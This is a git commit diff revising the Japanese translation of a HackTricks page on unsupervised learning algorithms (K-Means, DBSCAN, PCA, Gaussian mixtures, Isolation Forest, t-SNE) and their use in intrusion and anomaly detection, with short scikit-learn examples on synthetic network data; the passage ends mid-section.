mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
8cfe61692c
commit
3cafaff8a1
@ -16,7 +16,7 @@ K-Meansは、各点を最も近いクラスタ平均に割り当てることに
|
||||
4. **繰り返し**: クラスタの割り当てが安定するまで(重心が大きく移動しなくなるまで)ステップ2〜3を繰り返します。
|
||||
|
||||
> [!TIP]
|
||||
> *サイバーセキュリティにおけるユースケース:* K-Meansは、ネットワークイベントをクラスタリングすることによって侵入検知に使用されます。たとえば、研究者はKDD Cup 99侵入データセットにK-Meansを適用し、正常なトラフィックと攻撃クラスタに効果的に分割されることを発見しました。実際には、セキュリティアナリストは、ログエントリやユーザー行動データをクラスタリングして、類似の活動のグループを見つけることがあります。適切に形成されたクラスタに属さないポイントは、異常を示す可能性があります(例:新しいマルウェアの亜種が独自の小さなクラスタを形成する)。K-Meansは、バイナリを行動プロファイルや特徴ベクトルに基づいてグループ化することによって、マルウェアファミリーの分類にも役立ちます。
|
||||
> *サイバーセキュリティにおけるユースケース:* K-Meansは、ネットワークイベントをクラスタリングすることによって侵入検知に使用されます。例えば、研究者はKDD Cup 99侵入データセットにK-Meansを適用し、正常なトラフィックと攻撃クラスタに効果的に分割されることを発見しました。実際には、セキュリティアナリストはログエントリやユーザー行動データをクラスタリングして、類似の活動のグループを見つけることがあります。うまく形成されたクラスタに属さないポイントは、異常を示す可能性があります(例:新しいマルウェアの亜種が独自の小さなクラスタを形成する)。K-Meansは、バイナリを行動プロファイルや特徴ベクトルに基づいてグループ化することによって、マルウェアファミリーの分類にも役立ちます。
|
||||
|
||||
#### Kの選択
|
||||
クラスタの数(K)は、アルゴリズムを実行する前に定義する必要があるハイパーパラメータです。エルボー法やシルエットスコアのような手法は、クラスタリングのパフォーマンスを評価することによってKの適切な値を決定するのに役立ちます:
|
||||
@ -67,22 +67,22 @@ print(f" Cluster {idx}: {center}")
|
||||
1. **凝集型(ボトムアップ)**: 各データポイントを別々のクラスターとして開始し、最も近いクラスターを反復的にマージして、単一のクラスターが残るか、停止基準が満たされるまで続けます。
|
||||
2. **分割型(トップダウン)**: すべてのデータポイントを単一のクラスターに入れ、各データポイントが独自のクラスターになるか、停止基準が満たされるまでクラスターを反復的に分割します。
|
||||
|
||||
凝集型クラスタリングは、クラスター間の距離の定義と、どのクラスターをマージするかを決定するためのリンク基準を必要とします。一般的なリンク方法には、単一リンク(2つのクラスター間の最も近いポイントの距離)、完全リンク(最も遠いポイントの距離)、平均リンクなどがあり、距離メトリックはしばしばユークリッド距離です。リンクの選択は生成されるクラスターの形状に影響を与えます。クラスターの数Kを事前に指定する必要はなく、選択したレベルで樹形図を「カット」して、希望する数のクラスターを得ることができます。
|
||||
凝集型クラスタリングは、クラスター間の距離の定義と、どのクラスターをマージするかを決定するためのリンク基準を必要とします。一般的なリンク方法には、単一リンク(2つのクラスター間の最も近いポイントの距離)、完全リンク(最も遠いポイントの距離)、平均リンクなどがあり、距離メトリックはしばしばユークリッドです。リンクの選択は生成されるクラスターの形状に影響を与えます。クラスターの数Kを事前に指定する必要はなく、選択したレベルで樹形図を「カット」して、希望する数のクラスターを得ることができます。
|
||||
|
||||
階層的クラスタリングは、異なる粒度レベルでクラスター間の関係を示す樹形図を生成します。樹形図は、特定の数のクラスターを得るために希望するレベルでカットすることができます。
|
||||
|
||||
> [!TIP]
|
||||
> *サイバーセキュリティにおけるユースケース:* 階層的クラスタリングは、イベントやエンティティをツリーに整理して関係を特定することができます。たとえば、マルウェア分析では、凝集型クラスタリングがサンプルを行動の類似性によってグループ化し、マルウェアファミリーとバリアントの階層を明らかにすることができます。ネットワークセキュリティでは、IPトラフィックフローをクラスター化し、樹形図を使用してトラフィックのサブグループ(例:プロトコル別、次に行動別)を確認することができます。Kを事前に選択する必要がないため、攻撃カテゴリの数が不明な新しいデータを探索する際に便利です。
|
||||
> *サイバーセキュリティにおけるユースケース:* 階層的クラスタリングは、イベントやエンティティをツリーに整理して関係を特定することができます。たとえば、マルウェア分析では、凝集型クラスタリングが行動の類似性によってサンプルをグループ化し、マルウェアファミリーとバリアントの階層を明らかにすることができます。ネットワークセキュリティでは、IPトラフィックフローをクラスタリングし、樹形図を使用してトラフィックのサブグループ(例:プロトコル別、次に行動別)を確認することができます。Kを事前に選択する必要がないため、攻撃カテゴリの数が不明な新しいデータを探索する際に便利です。
|
||||
|
||||
#### 仮定と制限
|
||||
|
||||
階層的クラスタリングは特定のクラスター形状を仮定せず、ネストされたクラスターをキャプチャできます。これは、グループ間の分類法や関係を発見するのに役立ちます(例:マルウェアをファミリーサブグループでグループ化)。これは決定論的であり(ランダム初期化の問題はありません)、主要な利点は樹形図であり、すべてのスケールでデータのクラスタリング構造に関する洞察を提供します。セキュリティアナリストは、意味のあるクラスターを特定するための適切なカットオフを決定できます。ただし、計算コストが高く(通常は$O(n^2)$時間またはそれ以上のナイーブな実装)、非常に大きなデータセットには実行可能ではありません。また、これは貪欲な手法であり、一度マージまたは分割が行われると元に戻すことができず、早期に間違いが発生した場合に最適でないクラスターにつながる可能性があります。外れ値も一部のリンク戦略に影響を与える可能性があります(単一リンクは、外れ値を介してクラスターがリンクする「チェイニング」効果を引き起こす可能性があります)。
|
||||
階層的クラスタリングは特定のクラスター形状を仮定せず、ネストされたクラスターをキャプチャできます。これは、グループ間の分類法や関係を発見するのに役立ちます(例:マルウェアをファミリーサブグループでグループ化)。これは決定論的であり(ランダム初期化の問題はありません)、主要な利点は、すべてのスケールでデータのクラスタリング構造に関する洞察を提供する樹形図です。セキュリティアナリストは、意味のあるクラスターを特定するための適切なカットオフを決定できます。ただし、計算コストが高く(通常は$O(n^2)$時間またはそれ以上のナイーブな実装)、非常に大きなデータセットには実行可能ではありません。また、これは貪欲な手法であり、一度マージまたは分割が行われると元に戻すことができず、早期に間違いが発生した場合に最適でないクラスターが生じる可能性があります。外れ値も一部のリンク戦略に影響を与える可能性があります(単一リンクは、外れ値を介してクラスターがリンクする「チェイニング」効果を引き起こす可能性があります)。
|
||||
|
||||
<details>
|
||||
<summary>例 -- イベントの凝集型クラスタリング
|
||||
</summary>
|
||||
|
||||
K-Meansの例からの合成データ(3つの正常なクラスター + 1つの攻撃クラスター)を再利用し、凝集型クラスタリングを適用します。次に、樹形図とクラスターラベルを取得する方法を示します。
|
||||
K-Meansの例から合成データ(3つの通常のクラスター + 1つの攻撃クラスター)を再利用し、凝集型クラスタリングを適用します。次に、樹形図とクラスターラベルを取得する方法を示します。
|
||||
```python
|
||||
from sklearn.cluster import AgglomerativeClustering
|
||||
from scipy.cluster.hierarchy import linkage, dendrogram
|
||||
@ -102,7 +102,7 @@ print(f"Cluster sizes for 3 clusters: {np.bincount(clusters_3)}")
|
||||
```
|
||||
</details>
|
||||
|
||||
### DBSCAN (ノイズを伴う密度ベースの空間クラスタリング)
|
||||
### DBSCAN (ノイズを伴うアプリケーションの密度ベースの空間クラスタリング)
|
||||
|
||||
DBSCANは、密度に基づくクラスタリングアルゴリズムで、密集しているポイントをグループ化し、低密度領域のポイントを外れ値としてマークします。これは、異なる密度と非球形の形状を持つデータセットに特に有用です。
|
||||
|
||||
@ -110,21 +110,21 @@ DBSCANは、2つのパラメータを定義することによって機能しま
|
||||
- **Epsilon (ε)**: 同じクラスタの一部と見なされる2つのポイント間の最大距離。
|
||||
- **MinPts**: 密な領域(コアポイント)を形成するために必要な最小ポイント数。
|
||||
|
||||
DBSCANは、コアポイント、ボーダーポイント、およびノイズポイントを識別します:
|
||||
DBSCANは、コアポイント、ボーダーポイント、ノイズポイントを識別します:
|
||||
- **コアポイント**: ε距離内に少なくともMinPtsの隣接ポイントを持つポイント。
|
||||
- **ボーダーポイント**: コアポイントのε距離内にあるが、MinPtsの隣接ポイントがないポイント。
|
||||
- **ボーダーポイント**: コアポイントのε距離内にあるが、MinPts未満の隣接ポイントを持つポイント。
|
||||
- **ノイズポイント**: コアポイントでもボーダーポイントでもないポイント。
|
||||
|
||||
クラスタリングは、未訪問のコアポイントを選択し、それを新しいクラスタとしてマークし、そこから密度到達可能なすべてのポイント(コアポイントとその隣接ポイントなど)を再帰的に追加することによって進行します。ボーダーポイントは近くのコアのクラスタに追加されます。すべての到達可能なポイントを拡張した後、DBSCANは別の未訪問のコアに移動して新しいクラスタを開始します。どのコアにも到達できなかったポイントはノイズとしてラベル付けされます。
|
||||
|
||||
> [!TIP]
|
||||
> *サイバーセキュリティにおけるユースケース:* DBSCANはネットワークトラフィックの異常検出に役立ちます。たとえば、通常のユーザー活動は特徴空間に1つ以上の密なクラスタを形成するかもしれませんが、新しい攻撃行動は散発的なポイントとして現れ、DBSCANはそれをノイズ(外れ値)としてラベル付けします。ポートスキャンやサービス拒否トラフィックをポイントのまばらな領域として検出できるネットワークフローレコードのクラスタリングに使用されてきました。別のアプリケーションはマルウェアのバリアントをグループ化することです:ほとんどのサンプルがファミリーごとにクラスタリングされるが、いくつかはどこにも適合しない場合、それらはゼロデイマルウェアである可能性があります。ノイズをフラグ付けする能力により、セキュリティチームはこれらの外れ値の調査に集中できます。
|
||||
> *サイバーセキュリティにおけるユースケース:* DBSCANはネットワークトラフィックの異常検出に役立ちます。たとえば、通常のユーザー活動は特徴空間において1つ以上の密なクラスタを形成する一方で、新しい攻撃行動は散発的なポイントとして現れ、DBSCANはそれをノイズ(外れ値)としてラベル付けします。これは、ポートスキャンやサービス拒否トラフィックをポイントのまばらな領域として検出できるネットワークフローレコードのクラスタリングに使用されてきました。別のアプリケーションはマルウェアのバリアントをグループ化することです:ほとんどのサンプルがファミリーごとにクラスタリングされるが、いくつかはどこにも適合しない場合、それらはゼロデイマルウェアである可能性があります。ノイズをフラグ付けする能力により、セキュリティチームはこれらの外れ値の調査に集中できます。
|
||||
|
||||
#### 仮定と制限
|
||||
|
||||
**仮定と強み:** DBSCANは球状のクラスタを仮定しません – 任意の形状のクラスタ(鎖状または隣接するクラスタさえも)を見つけることができます。データの密度に基づいてクラスタの数を自動的に決定し、外れ値をノイズとして効果的に識別できます。これにより、不規則な形状とノイズを持つ実世界のデータに対して強力です。外れ値に対して頑健です(K-Meansとは異なり、K-Meansはそれらをクラスタに強制します)。クラスタがほぼ均一な密度を持つ場合にうまく機能します。
|
||||
**仮定と強み:** DBSCANは球状のクラスタを仮定しません – 任意の形状のクラスタ(連鎖状または隣接するクラスタさえも)を見つけることができます。データの密度に基づいてクラスタの数を自動的に決定し、外れ値をノイズとして効果的に識別できます。これにより、不規則な形状とノイズを持つ実世界のデータに対して強力です。外れ値に対して頑健です(K-Meansとは異なり、外れ値をクラスタに強制的に入れません)。クラスタがほぼ均一な密度を持つ場合にうまく機能します。
|
||||
|
||||
**制限:** DBSCANのパフォーマンスは、適切なεとMinPtsの値を選択することに依存します。異なる密度を持つデータに対しては苦労するかもしれません – 単一のεでは、密なクラスタとまばらなクラスタの両方を収容できません。εが小さすぎると、ほとんどのポイントがノイズとしてラベル付けされます;大きすぎると、クラスタが不正にマージされる可能性があります。また、DBSCANは非常に大きなデータセットでは非効率的になる可能性があります(単純には$O(n^2)$ですが、空間インデックスが役立つことがあります)。高次元の特徴空間では、「ε内の距離」の概念があまり意味を持たなくなることがあります(次元の呪い)、そのためDBSCANは慎重なパラメータ調整が必要になるか、直感的なクラスタを見つけられないことがあります。それにもかかわらず、HDBSCANのような拡張は、いくつかの問題(異なる密度など)に対処します。
|
||||
**制限:** DBSCANのパフォーマンスは、適切なεとMinPtsの値を選択することに依存します。密度が異なるデータに対しては苦労することがあります – 単一のεでは、密なクラスタとまばらなクラスタの両方を収容できません。εが小さすぎると、ほとんどのポイントがノイズとしてラベル付けされます;大きすぎると、クラスタが不正にマージされる可能性があります。また、DBSCANは非常に大きなデータセットでは非効率的になることがあります(単純には$O(n^2)$ですが、空間インデックスが役立つことがあります)。高次元の特徴空間では、「ε内の距離」の概念があまり意味を持たなくなることがあります(次元の呪い)、そのためDBSCANは慎重なパラメータ調整が必要になるか、直感的なクラスタを見つけられないことがあります。それにもかかわらず、HDBSCANのような拡張は、いくつかの問題(密度の変化など)に対処します。
|
||||
|
||||
<details>
|
||||
<summary>例 -- ノイズを伴うクラスタリング
|
||||
@ -150,7 +150,7 @@ num_noise = np.sum(labels == -1)
|
||||
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
|
||||
print("Cluster labels for first 10 points:", labels[:10])
|
||||
```
|
||||
このスニペットでは、データスケールに合わせて `eps` と `min_samples` を調整しました(特徴単位で15.0、クラスタを形成するために5ポイントが必要)。DBSCANは2つのクラスタ(通常のトラフィッククラスタ)を見つけ、5つの注入された外れ値をノイズとしてフラグ付けする必要があります。これを確認するために、クラスタ数とノイズポイントの数を出力します。実際の設定では、εを反復処理し(k距離グラフヒューリスティックを使用してεを選択)、MinPts(一般的にはデータの次元数 + 1に設定される)を使用して安定したクラスタリング結果を見つけることがあります。ノイズを明示的にラベル付けする能力は、さらなる分析のために潜在的な攻撃データを分離するのに役立ちます。
|
||||
このスニペットでは、データスケールに合わせて `eps` と `min_samples` を調整しました(特徴単位で15.0、クラスタを形成するために5ポイントが必要)。DBSCANは2つのクラスタ(通常のトラフィッククラスタ)を見つけ、5つの注入された外れ値をノイズとしてフラグ付けする必要があります。これを確認するために、クラスタ数とノイズポイントの数を出力します。実際の設定では、εを反復処理(k距離グラフヒューリスティックを使用してεを選択)し、MinPts(一般的にはデータの次元数 + 1に設定される)を調整して安定したクラスタリング結果を見つけることがあります。ノイズを明示的にラベル付けする能力は、さらなる分析のために潜在的な攻撃データを分離するのに役立ちます。
|
||||
|
||||
</details>
|
||||
|
||||
@ -166,7 +166,7 @@ PCAは、データの主成分を特定することによって機能します
|
||||
3. **固有値分解**:共分散行列に対して固有値分解を行い、固有値と固有ベクトルを取得します。
|
||||
4. **主成分の選択**:固有値を降順に並べ、最大の固有値に対応する上位Kの固有ベクトルを選択します。これらの固有ベクトルが新しい特徴空間を形成します。
|
||||
5. **データの変換**:選択した主成分を使用して、元のデータを新しい特徴空間に投影します。
|
||||
PCAは、データの視覚化、ノイズ削減、他の機械学習アルゴリズムの前処理ステップとして広く使用されます。データの次元を削減しながら、その本質的な構造を保持するのに役立ちます。
|
||||
PCAは、データの視覚化、ノイズ削減、他の機械学習アルゴリズムの前処理ステップとして広く使用されています。データの次元を削減しながら、その本質的な構造を保持するのに役立ちます。
|
||||
|
||||
#### 固有値と固有ベクトル
|
||||
|
||||
@ -177,7 +177,7 @@ Aが正方行列で、vがゼロでないベクトルであるとします: `A
|
||||
- Aは [ [1, 2], [2, 1]] のような正方行列(例:共分散行列)
|
||||
- vは固有ベクトル(例:[1, 1])
|
||||
|
||||
すると、`A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` となり、これは固有値 λ が固有ベクトル v で掛けられたものになり、固有値 λ = 3 になります。
|
||||
すると、 `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` となり、これは固有値λが固有ベクトルvで掛けられたもので、固有値λ = 3になります。
|
||||
|
||||
#### PCAにおける固有値と固有ベクトル
|
||||
|
||||
@ -194,11 +194,11 @@ Aが正方行列で、vがゼロでないベクトルであるとします: `A
|
||||
4. **主成分の選択**:固有値を降順に並べ、最大の固有値に対応する上位Kの固有ベクトルを選択します。これらの固有ベクトルは、データの最大分散の方向を表します。
|
||||
|
||||
> [!TIP]
|
||||
> *サイバーセキュリティにおけるユースケース:* セキュリティにおけるPCAの一般的な使用法は、異常検出のための特徴削減です。例えば、40以上のネットワークメトリック(NSL-KDDの特徴など)を持つ侵入検知システムは、PCAを使用して数個の成分に削減し、視覚化のためにデータを要約したり、クラスタリングアルゴリズムに供給したりできます。アナリストは、最初の2つの主成分の空間でネットワークトラフィックをプロットして、攻撃が通常のトラフィックから分離されるかどうかを確認することがあります。PCAは、冗長な特徴(相関がある場合の送信バイトと受信バイトなど)を排除するのにも役立ち、検出アルゴリズムをより堅牢で迅速にします。
|
||||
> *サイバーセキュリティにおけるユースケース:* セキュリティにおけるPCAの一般的な使用法は、異常検出のための特徴削減です。たとえば、40以上のネットワークメトリック(NSL-KDDの特徴など)を持つ侵入検知システムは、PCAを使用して数個の成分に削減し、視覚化のためにデータを要約したり、クラスタリングアルゴリズムに供給したりできます。アナリストは、最初の2つの主成分の空間でネットワークトラフィックをプロットして、攻撃が通常のトラフィックから分離されるかどうかを確認することがあります。PCAは、冗長な特徴(相関がある場合の送信バイトと受信バイトなど)を排除するのにも役立ち、検出アルゴリズムをより堅牢で迅速にします。
|
||||
|
||||
#### 仮定と制限
|
||||
|
||||
PCAは、**分散の主軸が意味のあるものである**と仮定します。これは線形手法であるため、データの線形相関を捉えます。これは教師なしであり、特徴の共分散のみを使用します。PCAの利点には、ノイズ削減(小さな分散の成分はしばしばノイズに対応する)や特徴の非相関化が含まれます。中程度の高次元に対して計算効率が良く、他のアルゴリズムの前処理ステップとしてしばしば有用です(次元の呪いを軽減するため)。1つの制限は、PCAが線形関係に制限されていることです。複雑な非線形構造を捉えることはできません(オートエンコーダやt-SNEができるかもしれません)。また、PCAの成分は元の特徴の観点から解釈が難しい場合があります(それらは元の特徴の組み合わせです)。サイバーセキュリティでは、注意が必要です:低分散の特徴にわずかな変化を引き起こす攻撃は、上位の主成分に現れないかもしれません(PCAは分散を優先するため、必ずしも「興味深さ」を優先するわけではありません)。
|
||||
PCAは、**分散の主軸が意味のあるものである**と仮定します。これは線形手法であるため、データの線形相関を捉えます。これは教師なしであり、特徴の共分散のみを使用します。PCAの利点には、ノイズ削減(小さな分散の成分はしばしばノイズに対応する)や特徴の非相関化が含まれます。中程度の高次元に対して計算効率が良く、他のアルゴリズムの前処理ステップとしてしばしば有用です(次元の呪いを軽減するため)。1つの制限は、PCAが線形関係に制限されていることです。複雑な非線形構造を捉えることはできません(オートエンコーダやt-SNEができるかもしれません)。また、PCAの成分は元の特徴の観点から解釈が難しい場合があります(元の特徴の組み合わせです)。サイバーセキュリティでは、注意が必要です:低分散の特徴にわずかな変化を引き起こす攻撃は、上位の主成分に現れないかもしれません(PCAは分散を優先するため、「興味深さ」を必ずしも優先するわけではありません)。
|
||||
|
||||
<details>
|
||||
<summary>例 -- ネットワークデータの次元削減
|
||||
@ -224,10 +224,11 @@ print("Original shape:", data_4d.shape, "Reduced shape:", data_2d.shape)
|
||||
# We can examine a few transformed points
|
||||
print("First 5 data points in PCA space:\n", data_2d[:5])
|
||||
```
|
||||
ここでは、以前の通常のトラフィッククラスタを取り、各データポイントにバイトと期間に相関する2つの追加機能(パケットとエラー)を拡張しました。次に、PCAを使用して4つの特徴を2つの主成分に圧縮します。説明された分散比を印刷し、例えば、2つの成分によって95%以上の分散が捕捉されることを示すかもしれません(つまり、情報損失が少ないことを意味します)。出力は、データの形状が(1500, 4)から(1500, 2)に減少することも示しています。PCA空間の最初のいくつかのポイントが例として示されています。実際には、data_2dをプロットしてクラスタが区別可能かどうかを視覚的に確認できます。異常が存在する場合、PCA空間の主要なクラスタから離れた点としてそれを見ることができるかもしれません。したがって、PCAは複雑なデータを人間の解釈や他のアルゴリズムへの入力として管理可能な形に抽出するのに役立ちます。
|
||||
ここでは、以前の通常のトラフィッククラスタを取り、各データポイントにバイト数と期間に相関する2つの追加機能(パケットとエラー)を拡張しました。次に、PCAを使用して4つの特徴を2つの主成分に圧縮します。説明された分散比を印刷し、例えば、2つの成分によって95%以上の分散が捕捉されていることを示すかもしれません(つまり、情報損失が少ないことを意味します)。出力は、データの形状が(1500, 4)から(1500, 2)に減少することも示しています。PCA空間の最初のいくつかのポイントが例として示されています。実際には、data_2dをプロットしてクラスタが区別可能かどうかを視覚的に確認できます。異常が存在する場合、PCA空間の主要なクラスタから離れた点としてそれを見ることができるかもしれません。したがって、PCAは複雑なデータを人間の解釈や他のアルゴリズムへの入力として管理可能な形に精製するのに役立ちます。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### ガウス混合モデル (GMM)
|
||||
|
||||
ガウス混合モデルは、データが**未知のパラメータを持ついくつかのガウス(正規)分布の混合から生成される**と仮定します。本質的には、これは確率的クラスタリングモデルです:各ポイントをK個のガウス成分の1つに柔らかく割り当てようとします。各ガウス成分kは、平均ベクトル(μ_k)、共分散行列(Σ_k)、およびそのクラスタの普及度を表す混合重み(π_k)を持っています。K-Meansが「ハード」割り当てを行うのに対し、GMMは各ポイントが各クラスタに属する確率を与えます。
|
||||
@ -251,16 +252,16 @@ r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \m
|
||||
|
||||
- **EおよびMステップを繰り返す** 収束するまで(パラメータが安定するか、尤度の改善が閾値を下回るまで)。
|
||||
|
||||
結果は、全体のデータ分布をモデル化するガウス分布のセットです。フィッティングされたGMMを使用して、各ポイントを最も高い確率のガウスに割り当てることでクラスタリングするか、不確実性のために確率を保持することができます。また、新しいポイントの尤度を評価して、それらがモデルに適合するかどうかを確認することもできます(異常検出に役立ちます)。
|
||||
結果は、全体のデータ分布を集団的にモデル化するガウス分布のセットです。フィッティングされたGMMを使用して、各ポイントを最も高い確率のガウスに割り当てることでクラスタリングするか、不確実性のために確率を保持することができます。また、新しいポイントの尤度を評価して、それらがモデルに適合するかどうかを確認することもできます(異常検出に役立ちます)。
|
||||
|
||||
> [!TIP]
|
||||
> *サイバーセキュリティにおけるユースケース:* GMMは、正常データの分布をモデル化することによって異常検出に使用できます:学習した混合の下で非常に低い確率を持つポイントは異常としてフラグ付けされます。たとえば、正当なネットワークトラフィックの特徴に基づいてGMMをトレーニングすることができます。学習したクラスタに似ていない攻撃接続は低い尤度を持つでしょう。GMMは、クラスタが異なる形状を持つ可能性がある活動をクラスタリングするためにも使用されます。たとえば、行動プロファイルによってユーザーをグループ化する場合、各プロファイルの特徴はガウス的である可能性がありますが、それぞれ独自の分散構造を持っています。別のシナリオとして、フィッシング検出では、正当なメールの特徴が1つのガウスクラスタを形成し、既知のフィッシングが別のものを形成し、新しいフィッシングキャンペーンが既存の混合に対して別のガウスまたは低い尤度のポイントとして現れる可能性があります。
|
||||
|
||||
#### 仮定と制限
|
||||
|
||||
GMMは、共分散を取り入れたK-Meansの一般化であり、クラスタは楕円体(球状だけでなく)になることができます。共分散が完全であれば、異なるサイズと形状のクラスタを処理します。クラスタ境界があいまいな場合、ソフトクラスタリングは利点です。たとえば、サイバーセキュリティでは、イベントが複数の攻撃タイプの特性を持つ可能性があります。GMMは確率でその不確実性を反映できます。GMMはまた、データの確率密度推定を提供し、外れ値(すべての混合成分の下で低い尤度を持つポイント)を検出するのに役立ちます。
|
||||
GMMは、共分散を取り入れたK-Meansの一般化であり、クラスタは楕円体である可能性があります(球形だけではありません)。共分散が完全であれば、異なるサイズと形状のクラスタを処理できます。ソフトクラスタリングは、クラスタ境界があいまいな場合に利点があります。たとえば、サイバーセキュリティでは、イベントが複数の攻撃タイプの特性を持つ可能性があります。GMMは確率でその不確実性を反映できます。GMMはまた、データの確率密度推定を提供し、外れ値(すべての混合成分の下で低い尤度を持つポイント)を検出するのに役立ちます。
|
||||
|
||||
欠点として、GMMは成分の数Kを指定する必要があります(ただし、BIC/AICのような基準を使用して選択できます)。EMは時々遅く収束したり、局所最適に収束したりすることがあるため、初期化が重要です(EMを複数回実行することがよくあります)。データが実際にガウスの混合に従わない場合、モデルは適合が悪い可能性があります。また、1つのガウスが外れ値をカバーするために縮小するリスクもあります(ただし、正則化や最小共分散境界がそれを軽減できます)。
|
||||
欠点として、GMMは成分の数Kを指定する必要があります(ただし、BIC/AICのような基準を使用して選択できます)。EMは時々遅く収束したり、局所最適に収束したりすることがあるため、初期化が重要です(通常、EMを複数回実行します)。データが実際にガウスの混合に従わない場合、モデルは適合が悪い可能性があります。また、1つのガウスが外れ値をカバーするために縮小するリスクもあります(ただし、正則化や最小共分散境界がそれを軽減できます)。
|
||||
|
||||
<details>
|
||||
<summary>例 -- ソフトクラスタリングと異常スコア
|
||||
@ -283,13 +284,13 @@ log_likelihood = gmm.score_samples(sample_attack)
|
||||
print("Cluster membership probabilities for sample attack:", probs)
|
||||
print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
```
|
||||
このコードでは、正常なトラフィックに対して3つのガウス分布を持つGMMをトレーニングします(正当なトラフィックの3つのプロファイルを知っていると仮定します)。印刷された平均と共分散はこれらのクラスタを説明します(例えば、1つの平均は[50,500]の周辺で、1つのクラスタの中心に対応するかもしれません)。次に、疑わしい接続[duration=200, bytes=800]をテストします。predict_probaは、このポイントが3つのクラスタのそれぞれに属する確率を示します – [200,800]が正常なクラスタから遠く離れているため、これらの確率は非常に低いか、非常に偏っていると予想されます。全体のscore_samples(対数尤度)が印刷されます;非常に低い値は、そのポイントがモデルにうまく適合していないことを示し、異常としてフラグを立てます。実際には、対数尤度(または最大確率)にしきい値を設定して、ポイントが悪意のあるものと見なされるには十分にありそうもないかどうかを判断できます。したがって、GMMは異常検出を行うための原則的な方法を提供し、不確実性を認めるソフトクラスタも生成します。
|
||||
このコードでは、正常なトラフィックに対して3つのガウス分布を持つGMMをトレーニングします(正当なトラフィックの3つのプロファイルを知っていると仮定します)。印刷された平均と共分散はこれらのクラスタを説明します(例えば、1つの平均は[50,500]の周辺で、1つのクラスタの中心に対応するかもしれません)。次に、疑わしい接続[duration=200, bytes=800]をテストします。predict_probaは、このポイントが3つのクラスタのそれぞれに属する確率を示します – [200,800]が正常なクラスタから遠く離れているため、これらの確率は非常に低いか、非常に偏っていると予想されます。全体のscore_samples(対数尤度)が印刷されます;非常に低い値は、そのポイントがモデルにうまく適合していないことを示し、異常としてフラグを立てます。実際には、対数尤度(または最大確率)にしきい値を設定して、ポイントが悪意のあるものと見なされるには十分にありそうもないかどうかを判断できます。したがって、GMMは異常検出を行うための原則的な方法を提供し、不確実性を認識するソフトクラスタも生成します。
|
||||
|
||||
### Isolation Forest
|
||||
|
||||
**Isolation Forest**は、ポイントをランダムに孤立させるというアイデアに基づいたアンサンブル異常検出アルゴリズムです。原則は、異常は少なく異なるため、正常なポイントよりも孤立させやすいということです。Isolation Forestは、多くのバイナリ孤立木(ランダム決定木)を構築し、データをランダムに分割します。木の各ノードでは、ランダムな特徴が選択され、その特徴の最小値と最大値の間でランダムな分割値が選ばれます。この分割はデータを2つの枝に分けます。木は、各ポイントが自分の葉に孤立するか、最大の木の高さに達するまで成長します。
|
||||
|
||||
異常検出は、これらのランダムな木の各ポイントのパスの長さを観察することによって行われます – ポイントを孤立させるために必要な分割の数です。直感的に、異常(外れ値)は、ランダムな分割が外れ値(まばらな領域にある)を分離する可能性が高いため、より早く孤立する傾向があります。Isolation Forestは、すべての木の平均パスの長さから異常スコアを計算します:平均パスが短いほど → より異常です。スコアは通常[0,1]に正規化され、1は非常に高い異常の可能性を意味します。
|
||||
異常検出は、これらのランダムな木の各ポイントのパスの長さを観察することによって行われます – ポイントを孤立させるために必要な分割の数です。直感的に、異常(外れ値)は、ランダムな分割が外れ値(まばらな領域にある)を分離する可能性が高いため、より早く孤立する傾向があります。Isolation Forestは、すべての木の平均パスの長さから異常スコアを計算します:平均パスが短いほど → より異常です。スコアは通常[0,1]に正規化され、1は非常に異常であることを意味します。
|
||||
|
||||
> [!TIP]
|
||||
> *サイバーセキュリティにおけるユースケース:* Isolation Forestは、侵入検知や詐欺検知に成功裏に使用されています。例えば、主に正常な動作を含むネットワークトラフィックログでIsolation Forestをトレーニングします;フォレストは、奇妙なトラフィック(聞いたことのないポートを使用するIPや異常なパケットサイズパターンなど)に対して短いパスを生成し、検査のためにフラグを立てます。ラベル付きの攻撃を必要としないため、未知の攻撃タイプを検出するのに適しています。また、ユーザーログインデータに展開してアカウント乗っ取りを検出することもできます(異常なログイン時間や場所が迅速に孤立します)。あるユースケースでは、Isolation Forestがシステムメトリクスを監視し、メトリクスの組み合わせ(CPU、ネットワーク、ファイル変更)が歴史的パターンと非常に異なる場合(短い孤立パス)にアラートを生成することで、企業を保護するかもしれません。
|
||||
@ -330,18 +331,18 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
|
||||
アルゴリズムには2つの主要なステージがあります:
|
||||
|
||||
1. **高次元空間でのペアワイズ親和性の計算:** 各ポイントのペアについて、t-SNEはそのペアを近隣として選ぶ確率を計算します(これは各ポイントにガウス分布を中心に置き、距離を測定することで行われます – パープレキシティパラメータは考慮される近隣の実効数に影響を与えます)。
|
||||
1. **高次元空間でのペアワイズ親和性の計算:** 各ポイントのペアについて、t-SNEはそのペアを近隣として選ぶ確率を計算します(これは各ポイントにガウス分布を中心にして距離を測定することで行われます – パープレキシティパラメータは考慮される近隣の実効数に影響を与えます)。
|
||||
2. **低次元(例えば2D)空間でのペアワイズ親和性の計算:** 最初に、ポイントは2Dにランダムに配置されます。t-SNEはこのマップの距離に対して類似の確率を定義します(より遠くのポイントに自由を与えるために、ガウスよりも重い尾を持つスチューデントt分布カーネルを使用します)。
|
||||
3. **勾配降下法:** t-SNEは次に、2Dのポイントを反復的に移動させ、高次元の親和性分布と低次元のそれとの間のクルバック–ライブラー(KL)ダイバージェンスを最小化します。これにより、2Dの配置が高次元の構造をできるだけ反映するようになります – 元の空間で近かったポイントは互いに引き寄せられ、遠くのポイントは反発し、バランスが見つかるまで続きます。
|
||||
|
||||
その結果、データのクラスターが明らかになる視覚的に意味のある散布図が得られます。
|
||||
|
||||
> [!TIP]
|
||||
